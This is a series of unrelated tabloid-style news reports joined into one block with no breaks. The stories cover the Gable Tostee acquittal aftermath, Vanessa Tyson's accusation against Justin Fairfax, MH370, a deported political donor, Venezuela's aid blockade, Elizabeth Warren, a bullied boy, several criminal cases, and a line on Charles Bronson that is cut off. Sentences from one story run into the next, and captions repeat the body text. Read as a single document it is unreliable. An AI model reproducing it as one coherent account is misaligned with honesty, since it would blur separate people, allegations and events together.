Tostee, now called Eric Thomas, reported a disturbance at the Gold Coast property on Tuesday.

Police and paramedics were called to the Carrara home and Tostee said he had been assaulted by the woman who was 'going off', The Courier-Mail reported.

Gable Tostee (pictured), now called Eric Thomas, reported a disturbance at his parents Gold Coast property on Tuesday

Police and paramedics were called to the Carrara home and Tostee said he had been assaulted by the woman who was 'going off'

The woman was transported to Robina Hospital for a mental health assessment after reportedly threatening to commit suicide.

Tostee is being treated as the victim of the altercation, according to police sources.

Tostee stood trial for the death of New Zealand tourist Warriena Wright, 26, after she fell 14 storeys from his Gold Coast apartment in 2014.

The pair were on a first date after they met through Tinder.

The trial, which ended in him being acquitted, relied on a three-hour audio recording Tostee captured on his mobile phone during their date which included drunken sex.

Tostee is no stranger to controversy, having shared several provocative posts to his social media accounts following his highly publicised trial.

Tostee stood trial for the death of New Zealand tourist Warriena Wright (pictured), 26, after she fell 14 storeys from his Gold Coast apartment in 2014

Tostee (pictured) is no stranger to controversy, having shared several provocative posts to his social media accounts following his highly publicised trial

In one controversial Facebook post Tostee wrote: 'The best cure for feminism is a good root,' accompanied by a photo of a raised middle finger.

Tostee has also referred to his acquittal in an online post, saying: 'the only thing I murder is p***y'.

His other posts vary greatly, from rambling philosophical questions to pop culture references to support for US President Donald Trump.

Most recently, Tostee shared a lengthy post mid-January questioning whether a woman would have had been forced to face the similar charges had the gender roles been reversed.

'If a man went to a woman's apartment, got himself blind drunk, became aggressive without any provocation and started violently attacking her, verbally abusing her, throwing her things at her, refused to leave and then attacked her with a piece of metal and then climbed off her 14th floor balcony after she managed to lock him outside in desperation, would she be charged with murder?'

Most recently, Tostee shared a lengthy post mid-January questioning whether a woman would have had been forced to face the similar charges had the gender roles been reversed

'Would she be dragged through trial, vilified, shamed and defamed even if fully acquitted? I don't think so.

'If it's not ok (sic) to do it to a woman, it's not ok (sic) to do it to anyone.'

He then hashtagged the phrases 'double standards', 'hypocrisy', 'inequality' and 'misandry' in an apparent bid to get supporters on side.

Despite being acquitted of murder and manslaughter, it was revealed Tostee could still face an inquest over the death as Coroner James McDougall said he was still investigating the circumstances surrounding Ms Wright's death.College professor Vanessa Tyson avoided talking directly on Tuesday night about her accusation that Virginia's lieutenant governor sexually assaulted her, but she wasn't shy about publicly discussing her research and thoughts on the growing number of women reporting abuse.

'One thing that I notice about sexual violence is that a lot of people would like to glance away from this,' she told a Stanford University symposium. 'It's one of the ugliest parts of humanity. Trust me.'

Survivors of assaults don't 'deserve what happened to them,' she said. 'They have nothing to be ashamed of. And they are not alone.'

Tyson, appearing as one of two panelists at the event called 'Betrayal and Courage in the Age of #MeToo,' was making her first public appearance since she accused Virginia Lt. Gov. Justin Fairfax of forcing her to perform oral sex on him in 2004.

Tyson is a political science professor at Southern California's Scripps College who is spending a year at Stanford as a research fellow.

Fairfax has said he recalled the encounter, which he said was consensual, and denied assaulting or coercing Tyson.

Vanessa Tyson, an associate professor in politics at Scripps College, spoke Tuesday night at Stanford University about her claim that Virginia's lieutenant governor sexually assaulted her 15 years ago

Tyson didn't mention Virginia Lt. Gov. Justin Fairfax's name at the Stanford University academic symposium on sexual violence, but she insisted that it's 'one of the ugliest aspects of humanity'

'A lot of people would like to glance away from this,' Tyson said of sexual violence, adding that 'it's one of the ugliest parts of humanity. Trust me'

'Perhaps we have to reshape how we understand consent and how we teach it to society as a whole,' Tyson said during her talk, which also included her experience with students who were sexually assaulted confiding in her and the difficulty victims have with indifferent institutions that don't take their claims seriously.

'Speaking as a professor at a women's college, sometimes you have to lead by example,' Tyson said. 'No matter how hard it is.'

She said that 'it deeply, deeply concerns me that some women who come forward, and some men too,' face a 'deliberate attempt to try to undermine someones credibility. Every woman matters, every survivor matters, regardless of their background, regardless of where they come from.'

Tyson slipped in and out of the symposium without talking to reporters. Stanford authorities barred audience members from asking Tyson about the matter.

Tuesday night's event was planned long before Tyson leveled her accusation against Fairfax; she spoke to a capacity crowd while hundreds watched on TV screens in overflow rooms

Camera crews greeted audience members arriving at the reception and symposium at Stanford's Center for Advanced Study in the Behavioral Sciences, a usually quiet location tucked high on a hill about a mile from the main campus.

The 100 audience members crammed in the main room greeted Tyson with a standing ovation. Dozens more watched a video feed from a nearby room.

She told the audience she was 'deeply disturbed' by attempts to discredit victims' credibility. Tyson recounted how she and Stanford colleagues watched on television Christine Blasey Ford testify in Washington, D.C., during Supreme Court Justice Brett Kavanaugh's confirmation hearing.

This photograph, from Tyson's Twitter account, shows the college professor at a conference of the American Politicla Science Association

Tyson said she was inspired by watching the 2018 Senate testimony of Dr. Christine Blasey Ford, who accused Supreme Court nominee Brett Kavanaugh of sexually assaulting her decades earlier

Lieutenant Governor Fairfax is pictured banging the gavel to start a session of the state senate in Richmond, Virginia on Monday

'As she shook, we shook with her,' she said. 'As she told her story, we felt the pain she so visibly demonstrated.'

Tyson is now represented by the same legal team that represented Blasey Ford.

'When we hear someone else's story, there's a beauty in it knowing you aren't alone,' she said. 'Don't be afraid to see survivors for who they are. The beautiful parts, the ugly parts. All of them. They didn't deserve what happened to them.'

Tyson was joined on stage by a fellow center researcher Jennifer Freyd and moderated by law school professor Paul Brest to discuss 'the underlying dynamics of sexual violence and institutional betrayal' according to symposium literature.

Tyson is an associate professor of political science at Scripps College about 30 miles east of Los Angeles. She is spending the year at Stanford in part researching 'the political discourse surrounding sexual assault,' according the center's website.

Tyson's accusation was made public last week when a friend shared a private Facebook message sent by Tyson that alluded to the possibility of Fairfax becoming governor if the current Gov. Ralph Northam was forced to resign because of a racism scandal. That message was posted on a conservative political website that follows Virginia politics.

In the statement, Tyson said Fairfax held her head down and forced her to perform oral sex in his hotel room at the Democratic National Convention in Boston in 2004. Tyson has not otherwise commented publicly.The cousin of the Malaysia Airlines flight MH370 pilot has admitted he made a 'mysterious' phone call to his relative before the doomed flight vanished.

Former Malaysia Airlines engineer Zulhaimi Bin Wahidin said he called Captain Zaharie Ahmad Shah and spent 45 minutes on the phone with the pilot.

He said he last called his first cousin on February 2, 2014, weeks out from the mysterious disappearance of the Boeing 777 during a flight from Kuala Lumpur to Beijing.

The revelation comes after Mr Zulhami broke his silence for the first time to dismiss a series of conspiracy theories that claimed the plane was hijacked, The Australian reported.

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Former Malaysia Airlines engineer Zulhaimi Bin Wahidin (pictured) said he called Captain Zaharie Ahmad Shah and spent 45-minutes on the phone with the pilot

In particular, Mr Zulhaimi brushed aside rumours he had given Zaharie (pictured) technical details that subsequently allowed him to hijack the plane and ultimately destroy the lives of 238 passengers and crew members on March 8, 2014

In particular, Mr Zulhaimi brushed aside rumours he had given Zaharie technical details that subsequently allowed him to hijack the plane and ultimately destroy the lives of 238 passengers and crew members on March 8, 2014.

Conspiracy theories of Mr Zulhaimi's role in the disappearance of the plane first swirled after an investigative report from May the same year was leaked online.

The report not only revealed police were suspicious of the phone call between the pair, but that Mr Zulhaimi had tried to call Zaharie on his mobile three times after the plane was announced as missing.

Members of an independent group of experts spoke to the media late last year and demanded Malaysia confirm 'the role and technical area of expertise' of the aircraft engineer.

They wanted to know what the conversation in the phone call was about and who had tried to call the pilot Captain Zaharie Shah three times on the fateful morning.

Mr Zulhaimi admitted he tried to call the pilot three times between 10.27am and 11.12am on the day the flight disappeared.

He said the calls were made out of pure disbelief his cousin's flight was missing.

On that tragic day, air traffic control screens lost sight of the MH370 about 40 minutes into its flight.

The sudden disappearance came about when the plane's secondary radar transponder was turned off.

Moments afterwards, Zaharie made one last harrowing radio transmission: 'Good night, Malaysian Three-Seven-Zero'.

Military primary radar and automatic satellite 'handshakes' later tracked the course of the MH370.

The ensuing investigation showed the plane flew back over Malaysia and continued up the Straits of Malacca before it turned back and followed a long course south to the southern Indian Ocean.

To this day, the plane remains lost despite two big undersea hunts to salvage the wreckage.

Moments afterwards, Zaharie (pictured) made one last harrowing radio transmission: 'Good night, Malaysian Three-Seven-Zero'

The ensuing investigation showed the plane flew back over Malaysia and continued up the Straits of Malacca before it turned back and followed a long course south to the southern Indian Ocean

Royal Malaysian Police have already probed Mr Zulhaimi a handful of times on suspicion that the plane was hijacked.

The father-of-three said his cousin was a 'smart guy' who was a highly experienced aviator equipped with licenses to train and test other pilots.

Therefore he already had the technical knowledge that would have allowed him to hijack the plane - and would not have needed Mr Zulhaimi's help.

On the matter as to why he had called Zaharie, Mr Zulhaimi said the pair were like 'brothers' and were in constant contact.

While the pair's relationship was no secret, police initially had no idea.

'I asked them to get all of the information from the telco company to see how many times he has been calling me,' Mr Zulhaimi said.

'When they found that he had been calling me so many times for the last 10 years then they did not question me anymore.'

Suspicious phone calls aside, Mr Zulhaimi staunchly denies his cousin would have gone rogue and taken control of the plane. He said the idea did not square with the character of his cousin.

On the matter as to why he had called Zaharie, Mr Zulhaimi said the pair were like 'brothers' and were in constant contact (pictured, plane belonging to Malaysia Airlines)

Royal Malaysian Police have already probed Mr Zulhaimi a handful of times on suspicion that the plane was hijacked (pictured, piece of debris believed to be an outward wing flag belonging to MH370)

'Theyre trying to blame him for what happened and its very hard for me to swallow that because hes not that kind of a person,' Mr Zulhaimi said.

The 53-year-old said his cousin had a loving family, successful children and plenty of money. In other words, the perfect ingredients for a happy and fulfilling life.

The pair went to the same Penang Free School and would have regular play dates with each other.

When Zaharie went off to Malaysia Airlines, Mr Zulhaimi followed his cousin.

When Zaharie visited the flight simulator, he would check in on his cousin who lived nearby.

In short, Mr Zulhaimi and Zaharie were inseparable.

Mr Zulhaimi last saw his cousin when he dropped by with his wife Faisah a few weeks before the flight's disappearance.

To him, the visit was just another run-of-the-mill encounter.

'He was around the neighbourhood, around my area, so he dropped by to see my kids,' he said.

'Just to say hello. We chitchat for a while, about half an hour or one hour.'

Five years on and Mr Zulhaimi said he and his family are still coming to terms with the disappearance of their family member.

Even though it has not been confirmed, Mr Zulhaimi said he and his family had come to accept their relative was no longer alive.A Chinese billionaire and leading political donor who was kicked out of the country has called Australia a 'giant baby' with 'simple folk customs'.

Property mogul and long-term Sydney resident Huang Xiangmo last week had his permanent residency visa revoked and his bid for citizenship rejected.

The action was taken over his presidency of the Australian Council for the Promotion of the Peaceful Reunification of China - an organisation found to be aligned with China's ruling Communist Party.

He slammed the rejection of his visa and citizenship bid as 'groundless and prejudiced' and told the The Chinese Global Times, Australia was a 'giant baby' with an 'anti-China agenda.'

Huang's links to China sparked concerns of interference in Australia's political system

Huang is a prominent political donor, giving at least $2 million to various Australian parties over the years, including $55,000 to dine with Bill Shorten in 2015.

He was also behind a $150,000 donation to the New South Wales branch of the Labor Party while Sam Dastyari was party secretary - a relationship which ended Mr Dastyari's career.

However it was Huang's links to the Chinese government which prompted his ouster, over fears of Beijing's efforts to influence Australia's policies.

Huang was a prominent political donor and paid $55,000 to dine with Bill Shorten in 2015

Huang described his removal from Australia as 'ridiculous' and criticized the country directly.

'The history of Australia has determined the innate characteristics of a giant baby,'

'The growth of a giant baby takes time, and Australia still has a long way to go.'

'This is an objective fact and it does not mean Australia has to feel inferior.'

He said he moved to Australia for the 'simple folk customs' but said there was now a danger that the views of the ordinary people of the country were being swept aside to racist politicians.

'We cannot be the silent people any more and we should speak out, to let the world see Australias real public opinion, and avoid the countrys return to the White Australia policy and far-right populism,' Huang said.

The repercussions of the rejection are set to affect Huang both professionally and on a personal basis.

'The incident has had a huge impact on me and my family. Three generations of my family have lived in Australia for seven years,' Huang said.

'Apart from me, all those in the family are Australian citizens. The younger generation have studied, worked, married and had children there... Australia is their home.'

'It also affects my business of course. Some partners without information on this may have some unnecessary worries.'

Huang said Australia was a 'giant baby' with 'simple folk customs'after his visa was rejected



Venezuelas hard-left leaders vowed on Sunday never to let international humanitarian aid reach the countrys sick, hungry and desperate people.

Socialist MPs Gerardo Barrera and Williams Parada claimed the tons of food and medicine stockpiled on the Colombian border is a publicity stunt and letting it into the poverty-stricken country was tantamount to an invasion.

Dressed in designer shirts, the politicians  local representatives of President Nicolas Maduros Venezuelan United Socialist Party (PSUV)  described the political crisis as battle between socialism and capitalism.

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A fuel tanker, cargo trailers and makeshift fencing, blocking the Tienditas International Bridge in an attempt to stop humanitarian aid entering from Colombia

Aerial view of trucks loaded with humanitarian aid for Venezuela drive to the Tienditas Bridge on the border between Cucuta, Colombia and Tachira, Venezuela

The pair  career politicians who appear oblivious to the suffering of the people they represent  claimed despised dictator Maduro enjoyed the support of most Venezuelans.

And standing on the Venezuelan side of the Tienditas Bridge  with the aid stockpiled just 1km on the Colombian side - the MPs raised their fists in defiance of the international community and proclaimed; !No Pasaran - It Will Not Get Through!

The so-called humanitarian aid is just a media show, Mr Barrera, who represents the city of San Cristobal, told MailOnline. The United States, in alliance with the Colombian government, is using the aid as a pretext to invade Venezuelan territory.

We have seen what happened in Syria and Libya and we dont want that to happen here. While we want peace, we would never allow foreign troops to set foot on our sovereign territory.

Mr Barrera, 26, a student socialist activist turned politician, acknowledged that Venezuela was in the midst of a severe economic crisis.

But the blamed the United States, the European Union, the United Kingdom for the severe shortage of food and medicines, caused the sanctions they had imposed on Maduros corrupt regime.

He said: I know we have problems. But this is because of the international sanctions that have been imposed upon us. Britain stopped the sale of our gold for example.

This is a battle between socialism and capitalism. And the people support our Bolivarian socialist revolution.

Armed and starving: Admiral Fuller said he had seen Venezuelan soldiers who had lost as much as 30lbs in a year

Three million Venezuelans have fled the country since the economy collapsed in 2014.

Some 15 per cent of children have malnutrition.

Six out of ten Venezuelans have a relative who goes without to feed their family and one in 12 families are forced to scavenge out of the bins for food.

A basic basket of shopping costs 16 times the minimum wage.

MP Williams Parada claimed that the thousands of tons of food and medicine that is stockpiled on the other side of the Tienditas Bridge was nothing.

The few supplies that they have stored in Colombia is nothing, Mr Parada, 32, who represents the town of Capacho Viejo, close to the Colombian border, told MailOnline.

They only have enough supplies to feed 8,000 families whereas we feed six million Venezuelan families.

We, the Venezuelan United Socialist Party (PSUV), give away more aid every month in our food parcels than they have stored in Colombia.

This so-called humanitarian aid will do nothing to help the people. We can give the people what they need.

Venezuelan opposition leader Juan Guaido attends a meeting of students in Caracas today with his wife Fabiana Rosales after a U.N. adviser on judicial independence said the travel ban and asset freeze imposed on him do not respect legal standards.

The measures against Mr Guaido (centre) 'have not been adopted in accordance with constitutional requirements, normal legal procedures and international human rights standards,' according to U.N. adviser Diego Garcia-Sayan

The aid is an excuse to invade.

Venezuelans are not beggars, we have our own resources.

Mr Parada said that while many people in the border area have relatives across the border in Colombia no true patriot could accept foreign troops stepping foot on Venezuelan soil.

We could never let that happen, he told MailOnline.

We have seen how United States and their allies have confiscated Venezuelan bank account and companies.

We demand that these countries give us back our resources.

As the politicians made gestures soldiers from the Venezuelan Army held positions on the Tienditas Bridge border crossing.

Wearing camouflage uniforms and brandishing automatic weapons the troops have orders to stop by force anyone trying to move the containers and fuel tanker that form a blockage against trucks carrying aid.

Opposition leader Juan Guaido has vowed to open a humanitarian corridor into the country. He has called for volunteers to distribute the aid to Venezuelas needy.

But in a worrying development a brigade of Venezuelas feared FAES para-military police  that has been blamed for the summary execution of more than 150 anti-government protesters  were spotted arriving at a military airport close to the Colombian border.

Human rights activists stood at the entrance to the Tienditas International Bridge on Colombia's side, demanding Mr Maduro allow the emergency aid to enterDemocratic Senator Elizabeth Warren made a surprise appearance at a luncheon honoring Native American women leaders Tuesday.

During the National Indian Women's 'Supporting Each Other' lunch in Washington DC, Warren called for 'action' on issues important to their community including the rising problem of missing and murdered indigenous women.

Warren's meeting Tuesday comes amid lingering tensions over her past claims to be of Native American heritage as she seeks the Democratic presidential nomination.

President Donald Trump continues to hit Warren on the issue, mocking her with the name 'Pocahontas' and recently tweeting about 'the TRAIL' in what some viewed as a reference to Native American genocide.

Elizabeth Warren made a surprise appearance at the National Indian Women's 'Supporting Each Other' luncheon in Washington DC Tuesday

She was introduced by Rep Deb Haaland, one of two Native Americans serving in Congress, who called Warren 'a great friend to Indian Country'

Warren was introduced Tuesday by New Mexico Democratic Rep Deb Haaland, one of two Native Americans serving in Congress, who called the Massachusetts senator 'a great friend to Indian Country'.

Haaland and Warren said they're working together on new legislation addressing Native American issues.

According to the Huffington Post, Warren received a standing ovation from tribal leaders and the other attendees as she made her way to the stage.

In her speech, Warren called on Congress to take action on issues facing Native Americans, including the 'alarming number of missing and murdered indigenous women and girls,' as well as suicide rates among Native people, housing and health care.

'The agenda is enormous and the fights will be tough,' Warren said. 'In tough fights, it is important to have leaders like Cheryl out in front. Cheryl is warm, and understanding and sharp. She's forceful and let's say it - she persists.'

Brenda Toineeta Pipestem, a former NIWRC board member and currently a tribal Supreme Court justice said it is 'important' the native community show their support for Warren, calling her an ally.

'We have to rely on our allies to fight for us behind closed doors and on the floor of the Senate to protect our Native American women and children,' Pipestem said.

This comes amid tension over her past claims that she was of Native American heritage, pictured Tuesday during a Senate Armed Services Committee hearing on Capitol Hill

Warren called for 'action' on issues important to their community such as the rising problem of missing and murdered indigenous women

The US President made another 'Pocahontas' swipe at the Democrat on Saturday in a tweet

This comes a week after Warren repeatedly apologized for claiming on a 1986 form to be 'American Indian,' saying she is not a citizen of any tribe.

Warren faced reporters last Wednesday after a bombshell report brought to light her state bar application form where she had made the claim.

With her presidential campaign on the line and a looming swing through key states, Warren expressed repeated regret  but didn't rule out the possibility that there are more forms from that time period out there.

'This is who I grew up believing with my brothers,' said Warren, who was raised in Oklahoma.

'This is our family story. It's all consistent from that point in time. But as I said, it's important to note I'm not a tribal citizen and I should have been more mindful of the distinction with tribal citizenship and tribal sovereignty.'

She referenced her previous apology call to a tribal chief about her earlier public release of a DNA test that showed a tiny fraction of native American blood. 'That's why I apologized to Chief Baker and why I made a very public apology about it,' she said.For many, it is the 'final piece in the jigsaw' that is the story of Diana's death. If so, an until-now confidential letter written in 2017 by the former head of Scotland Yard to a Parisian bodybuilder (pictured left) is the last serious attempt to put that piece in place. 'Now that you too have become a parent... I hope that you might reconsider your previous position,' asked Lord Stevens (top inset) of the Frenchman. Diana (bottom inset, with Dodi Fayed in CCTV footage showing the pair's final hours) died of injuries suffered when the Mercedes S280 limousine in which she was a rear-seat passenger struck the 13th pillar of the central reservation of the Pont de l'Alma underpass at an approximate speed of 65mph. Henri Paul, acting head of security at the Ritz hotel, was at the wheel. He died at the scene. He would be vilified for his role in the tragedy - notably the manner of his driving and the amount of alcohol that he had consumed. Some, including Stevens, feel that Paul had been put in an invidious position by his employers. But there was another car involved in those moments before the catastrophic impact. There was even another, albeit minor, collision, which probably precipitated the final chain of events. Pictured right: Le Van Thanh in September 1999 with his once white Fiat Uno and his dog Max.Jack Wilkinson, nine, has turned his anxiety into a range of t-shirts to help raise money for charity after horrific bullying left him wanting to take his own life

When Jack Wilkinson could no longer cope with relentless bullying and cruel taunts, he wrote a desperate note to his Year 2 teacher and left it on her desk.

'God, please take me', the seven-year-old penned in his neatest handwriting.

Just weeks before, he was beaten for 10 minutes by a classmate in the playground after long being a target of bullies.

His mother Kristy Sturgess told Daily Mail Australia that Jack was diagnosed with an anxiety disorder at a young age and had been struggling with ongoing taunts and cruelty.

While other children had previously told him he was 'crazy' and teased him, the bullying became physical and extremely violent when he began Year 2.

'There's always been kids who had decided Jack was an easy target because of his reactions,' she said.

'They would say things, call him names, tell him he was crazy.

Ms Sturgess said by the time Jack was six or seven, he was coming home from school in tears, begging not to go back.

The north-west Sydney mother said her son was tripped over by a bully on his first day of Year Two.

'That was one of the first signs it was going to be an extremely tough year for Jack,' she said.

In Year Two, Jack's existing anxiety was worsened after he was physically attacked by another child, who had been bullying him

When Ms Sturgess picked him up, he had scratches on his body and a mark from where a plastic fork had been stuck into him on his shoulder (pictured)

The young boy was once 'punched in the head', until eventually the bullying culminated into a full-on attack.

'Jack was physically hit and kicked in the playground for nearly 10 minutes, and was stabbed with a plastic fork in the back,' Ms Sturgess explained.

Ms Sturgess said her other son, Jack's twin Hunter, told her the beating had gone on for ten minutes before adults arrived to pull the boys apart.

'I remember getting to pick Jack up [that day], and he was limping and holding his shoulder, in tears,' she said.

'He had bruises on his legs, and a fork mark in his shoulder. I just broke down in tears.

'That was the final straw for Jack after going through such a hard few years.'

His mother, Kristy Sturgess (left) said at the age of seven, Jack wrote on his pillow he 'didn't want to be alive', and wrote a note to his teacher saying 'God, please take me'

Jack had always enjoyed drawing, and Ms Sturgess said she found art therapy was very helpful for her son (pictured centre with his brothers). They then decided to turn his drawings into a t-shirt line that raised money for Kid's Helpline

Jack has been drawing for years and has found it helpful when he needs to take his mind off a problem

Ms Sturgess said Jack, who was aged just seven years old at the time, saw no hope for his future.

'He was seven, and he was just done.'

At home, he wrote on his pillow in texta: 'I don't want to be alive'. When he returned to school a few weeks later, he left a note for his teacher.

'God, just take me,' it read.

Over the next few months, Ms Sturgess worked tirelessly to help her son regain the little confidence that had been completely destroyed by his ordeal.

The family sought support from external counsellors and programs, including art therapy, to help Jack cope with his anxiety and resolve the trauma from his bullying.

Jack said he felt better when he was able to talk to someone about his problems, and wanted to make sure other kids had the same opportunity

Jack had always loved to draw, and found it helped him cope when he felt overwhelmed or upset.

Ms Sturgess, who owns a clothing manufacturing business, sat down with her son and asked: 'Would you like to do more with these drawings?'.

The pair decided to turn some of Jack's favourite artworks into t-shirts, and sell them online to help raise money for Kid's Helpline.

Ms Sturgess said supporting the children's organisation, which offers counselling over the phone or online 24 hours a day, was a way to help people like her son.

She said she recognised not everyone had the same support Jack did, and some children needed a place to go where they could be anonymous and receive help.

'You don't expect [what happened to Jack] to happen, but these things are happening, and a lot of the targets are kids suffering from these disorders [like anxiety],' she said.

'What Kid's Helpline offer, the support they offer, there are some kids who don't have that.

'It's about letting people know mental health isn't a taboo thing to talk about - it's okay not to be okay and there are people you can speak to confidentially.'

His mother said Kid's Helpline was a godsend to children who might not have as strong a family network as her son did, and needed extra support

For Jack, knowing he had someone to speak to during his ordeal, and as he continues to learn to manage his anxiety, has proven to be a huge comfort.

'It makes me better when I talk to someone,' he said in a statement on his website.

'And when I know theyre doing something about the bad things, it makes me feel safe.

'Now, I feel pretty good. But other people are going through the same things as I did and having a hard time. It would be nice for them to be able to talk to Kids Helpline.

'It would be nice, theyd have a friend, and wouldnt be as sad or scared.'

To follow Jack's journey, follow him on Facebook or Instagram. To get a t-shirt, head to his website.

If you are aged 5 to 25, or a parent or carer, and need confidential 24-hour support, contact Kid's Helpline on 1800 55 1800, or head to their website.A police force's 'hate crime officer' was today accused of punching a 14-year-old boy.

PC Paul Evans, hate crime officer in the community engagement team for South Wales Police, appeared in court charged with assault by beating.

Evans, 50, of Bridgend, South Wales, pleaded not guilty to the charge.

PC Paul Evans, hate crime officer in the community engagement team for South Wales Police, appeared in court charged with assault by beating

Cardiff magistrates heard the charge relates to an alleged incident at a property in Bridgend in January.

Wearing a dark blue suit and tie, Evans spoke only to confirm his name, address and to formally enter a plea.

District Judge Bodfan Jenkins granted Evans unconditional bail.

Cardiff magistrates (pictured) heard the charge relates to an alleged incident at a property in Bridgend in January

Evans is due to appear at Cardiff Magistrates' Court on August 22 for a pre-trial hearing.

It follows an Independent Office for Police Conduct (IOPC) investigation.

An IOPC statement said: 'Our investigation followed a referral from South Wales Police in January after a complaint was made by the teenager's family.

'We completed our investigation in June and submitted a file of evidence to the Crown Prosecution Service (CPS), which authorised the assault charge contrary to Section 39 of the Criminal Justice Act 1988.'Two men have been arrested by counter-terrorism police after packages containing a suspicious liquid were sent to a number of NHS hospitals.

Around 25 trusts received the parcels, prompting nationwide warning to all NHS groups from the Chief Medical Officer, Dame Sally Davies.

It warned of a 'number of unsolicited packages, with accompanying literature requesting testing'

A package sent to the Milton Keynes University Hospital research and development department said it was from an organisation calling itself 'The Cyprus Project'.

Around 25 trusts, including Milton Keynes University Hospital, pictured, received the packages, sent by a group calling itself 'The Cyprus Project'

A 29-year-old man, from Brent, north-west London, and a 37-year-old man, from Harrow, both north-west London, were arrested in Barnet at about 6.45pm on Thursday by the Metropolitan Police's Counter Terrorism Command.

The Met said that, so far, none of the packages has been found to contain anything hazardous.

The pair have been bailed to return to a north London police station in late August and inquiries are continuing.

A spokesman for Milton Keynes University Hospital Foundation Trust said: 'Staff followed the usual operational protocol, which includes alerting the police and NHS England.

'National Operations Centre tested the liquid and it was found to be non-suspicious and non-hazardous. It was therefore disposed of appropriately.'The man accused of murdering his ex-wife and dumping her body in her garage was a free man despite facing serious charges of assaulting her.

Samantha Fraser was found dead at her home at Philip Island, south of Melbourne, last week.

The 38-year-old's friends have shared their disgust towards Adrian Basham, who was charged with the her murder on Thursday, just an hour after CCTV footage was released of a hooded man lurking outside her house.

Ms Fraser's close friend, Toni Smith, said it was 'disgraceful' the 41-year-old alleged murderer had been 'allowed free' leaving her neighbour 'living in fear', the Herald Sun reported.

'Why didn't they take it more seriously?' Ms Smith said.

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The man accused of murdering his ex-wife, Samantha Fraser (pictured), was a free man and was never locked up despite facing serious assault charges against her

The 38-year-old's friends have shared their disgust towards Adrian Basham (pictured) who was charged with the woman's murder on Thursday days after Ms Fraser was found dead in garage

The mother-of-three accused her ex-husband of repeatedly attacking during their seven-year marriage which ended in 2016.

Basham was meant to face court over nine assault charges after Ms Fraser reported him to police following their separation but the man was never kept in custody.

Detectives are investigating whether the impending court proceedings could have been a motive for the woman's death.

Days after the Victorian woman's death, police released CCTV footage showing a man lurking outside Ms Fraser's home and walking along her street between 9am and 12.02pm on the day of her alleged murder.

Ms Fraser arrived home at about 11.30am, police said. The man was seen in the footage running away from her property at around midday.

Basham was meant to face court over nine assault charges after Ms Fraser (pictured) reported him to police following their separation but the man was never kept in custody

CCTV footage shows a hooded man lurking outside the home where the mother-of-three was found dead

Police said they were investigating the possibility the hooded man was Basham - who they charged with murder two hours after releasing the security footage.

'It's one of the hypotheses we are looking at. [But] we don't know who that man is and that's why we're appealing to the public,' Detective Inspector Tim Day said in an earlier statement, adding he was as 'very confident' the man in the footage killed Ms Fraser.

The suspect was wearing a black hoodie with a distinctive dark blue band on the midriff and arms, dark pants and dark shoes.

Detectives also released footage of a motorcycle seen in the area and are looking at the possibility the suspect used it as a getaway vehicle.

Insp Day urged anyone who may have information about the identity of the man, the clothing or the motorcycle to come forward.

'At this stage we can't account for that man being in the street and are looking to find out who he is and why he was there,' he said.

'This sighting is of vital importance to this investigation.

Det Insp Day urged anyone who may have information about the identity of the man, the clothing or the motorcycle to come forward

'Detectives are also looking at whether he possibly bought the hoodie in the days or weeks before going to the property, which is why we're asking anyone who might recall selling a hoodie fitting this description to contact us.

'Any piece of information could be crucial in solving this murder.'

Insp Day described Ms Fraser's death as a 'crime that strikes the heart of our own humanity'.

'How does society reconcile the slaying of an innocent young mother in her family home, thus leaving her children abandoned at the gate of their local school, never to see their mother again?' he said.

Detectives also released CCTV of a motorcycle seen in the area and are looking at the possibility the rider may be the same man captured lurking on Ms Fraser's street

Police initially believed Ms Fraser, a respected psychologist, had committed suicide.

Authorities were alerted when Ms Fraser didn't arrive to pick up her children from school in the afternoon.

A welfare check was conducted at her home on Seagrove Way, Cowes, where police found her dead.

Her death came as a shock to the local community, who were notified of the police investigation four days after her body was found.

A welfare check was conducted at her home on Seagrove Way, Cowes, where police found her dead in her garage (pictured)

Ms Fraser has been described by friends, family and colleagues as a 'beautiful woman'.

'She was incredibly kind, nurturing and talented. Sam was articulate and passionate about everything she did,' a friend told the Herald Sun.

Her father Trevor Fraser thanked hundreds of mourners who paid their respects at a vigil held in Cowes last week.

'There's really not much we can say at a time like this, [I'm] too emotional to have too much to say,' Mr Fraser said.

'She truly was a remarkable woman, a remarkable mother and a remarkable daughter. Thank you for standing up for Samantha.'Carers accused of murdering a missing woman claim she is still alive, a court has heard.

Margaret Fleming was reported missing in October 2016 from her home in Inverkip, Inverclyde, but has allegedly not been seen since December 1999.

Edward Cairney, 76, and Avril Jones, 58, are due to face trial next month accused of her abduction and murder, and of claiming 182,000 in benefits fraudulently by pretending she was still alive.

They deny all the charges against them.

Margaret Fleming, who would now be 37 years old, was reported missing in October 2016 from her home in Inverkip, Inverclyde, but has allegedly not been seen since December 1999

At a pre-trial hearing at the High Court in Glasgow on Friday, advocate depute Iain McSporran QC said: 'At least one of the accused has claimed to be in telephone contact with Margaret Fleming.

'The defence position is that Margaret Fleming is not dead.'

The trial is expected to involve around 200 witnesses and last between six and eight weeks.

Mr McSporran said: 'It will be a lengthy trial. Much of which will be devoted to establishing that Margaret Fleming is in fact deceased.'

Edward Cairney, 76, (right) and Avril Jones, 58, (left) were not present at the hearing on Friday. They are accused of Ms Fleming's abduction and murder, and of claiming 182,000 in benefits fraudulently by pretending she was still alive.

Defence QC Thomas Ross, for Cairney, said the volume of material in the case is 'extraordinary'.

He said: 'This is certainly more material than I've ever seen in any case.'

It is alleged Cairney and Jones abducted Ms Fleming at her home at Seacroft, Inverkip, locked her in a room, assaulted her, cut her hair and bound her arms and wrists with tape on various occasions between November 1 1995 and January 5 2000.

The pair are accused of murdering Ms Fleming, who would now be 37, by unknown means at some point between December 18, 1999 and January 5, 2000.

It is alleged that between December 18, 1999 and October 2016 they pretended to Department of Work and Pensions officials that Ms Fleming was alive, and claimed state benefits, obtaining 182,000 by fraud.

Cairney and Jones deny all charges and the defence position is that Ms Fleming is still alive

The pair also face two charges of attempting to defeat the ends of justice.

It is alleged they disposed of, destroyed or concealed the remains and personal effects of Ms Fleming between December 18, 1999 and October 26, 2017.

They are also accused of trying to board a train to London at Glasgow Central Station on October 25, 2017 while carrying 3,500 and the keys to a safe deposit box at a bank in London which contained 27,000.

It is alleged they planned to travel and evade police and prosecutors.

Neither Cairney nor Jones were present at the hearing on Friday, the former having being excused due to mobility issues and the latter having transport problems.

Lord Matthews continued the case until Friday August 10 for a further pre-trial hearing.Charles Bronson (pictured) is accused of assaulting Mark Docherty inside the high security prison

Notorious prisoner Charles Bronson appeared in court today via videolink and said: I feel like I've got a part in Star Trek.'

